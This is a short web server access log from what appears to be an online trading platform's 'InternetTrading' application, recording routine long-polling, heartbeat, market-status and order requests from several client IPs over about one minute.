[09/Jan/2026:11:43:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930459370 HTTP/1.1" -
[09/Jan/2026:11:43:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930459403 HTTP/1.1" -
[09/Jan/2026:11:43:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930460287 HTTP/1.1" -
[09/Jan/2026:11:43:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930459748 HTTP/1.1" -
[09/Jan/2026:11:43:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:12 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930462372 HTTP/1.1" -
[09/Jan/2026:11:43:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930464408 HTTP/1.1" -
[09/Jan/2026:11:43:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930464458 HTTP/1.1" -
[09/Jan/2026:11:43:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930465433 HTTP/1.1" -
[09/Jan/2026:11:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930464823 HTTP/1.1" -
[09/Jan/2026:11:43:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930467436 HTTP/1.1" -
[09/Jan/2026:11:43:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930469443 HTTP/1.1" -
[09/Jan/2026:11:43:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930469519 HTTP/1.1" -
[09/Jan/2026:11:43:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930470545 HTTP/1.1" -
[09/Jan/2026:11:43:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930469899 HTTP/1.1" -
[09/Jan/2026:11:43:22 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 3
[09/Jan/2026:11:43:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930472491 HTTP/1.1" -
[09/Jan/2026:11:43:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930474483 HTTP/1.1" -
[09/Jan/2026:11:43:25 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930474588 HTTP/1.1" -
[09/Jan/2026:11:43:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930475826 HTTP/1.1" -
[09/Jan/2026:11:43:27 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930474929 HTTP/1.1" -
[09/Jan/2026:11:43:28 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930477558 HTTP/1.1" -
[09/Jan/2026:11:43:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930479521 HTTP/1.1" -
[09/Jan/2026:11:43:30 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930479651 HTTP/1.1" -
[09/Jan/2026:11:43:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930480891 HTTP/1.1" -
[09/Jan/2026:11:43:32 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930479969 HTTP/1.1" -
[09/Jan/2026:11:43:33 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930482619 HTTP/1.1" -
[09/Jan/2026:11:43:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930484562 HTTP/1.1" -
[09/Jan/2026:11:43:35 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930484708 HTTP/1.1" -
[09/Jan/2026:11:43:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930485960 HTTP/1.1" -
[09/Jan/2026:11:43:37 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930485030 HTTP/1.1" -
[09/Jan/2026:11:43:38 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930487675 HTTP/1.1" -
[09/Jan/2026:11:43:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930489617 HTTP/1.1" -
[09/Jan/2026:11:43:40 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930489772 HTTP/1.1" -
[09/Jan/2026:11:43:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930491116 HTTP/1.1" -
[09/Jan/2026:11:43:42 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930490088 HTTP/1.1" -
[09/Jan/2026:11:43:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:42 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:43:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1194
[09/Jan/2026:11:43:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:43:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930492734 HTTP/1.1" -
[09/Jan/2026:11:43:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930494649 HTTP/1.1" -
[09/Jan/2026:11:43:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930494830 HTTP/1.1" -
[09/Jan/2026:11:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930496289 HTTP/1.1" -
[09/Jan/2026:11:43:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930495110 HTTP/1.1" -
[09/Jan/2026:11:43:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:11:43:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:11:43:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1194
[09/Jan/2026:11:43:49 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930497814 HTTP/1.1" -
[09/Jan/2026:11:43:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930499681 HTTP/1.1" -
[09/Jan/2026:11:43:51 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930499898 HTTP/1.1" -
[09/Jan/2026:11:43:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930501403 HTTP/1.1" -
[09/Jan/2026:11:43:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930500192 HTTP/1.1" -
[09/Jan/2026:11:43:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:43:54 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930502914 HTTP/1.1" -
[09/Jan/2026:11:43:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:43:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:43:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930504701 HTTP/1.1" -
[09/Jan/2026:11:43:56 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930504969 HTTP/1.1" -
[09/Jan/2026:11:43:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930506550 HTTP/1.1" -
[09/Jan/2026:11:43:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930505223 HTTP/1.1" -
[09/Jan/2026:11:43:59 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930507969 HTTP/1.1" -
[09/Jan/2026:11:44:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:44:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:44:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930509732 HTTP/1.1" -
[09/Jan/2026:11:44:01 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930510022 HTTP/1.1" -
[09/Jan/2026:11:44:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930511600 HTTP/1.1" -
[09/Jan/2026:11:44:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767930510247 HTTP/1.1" -
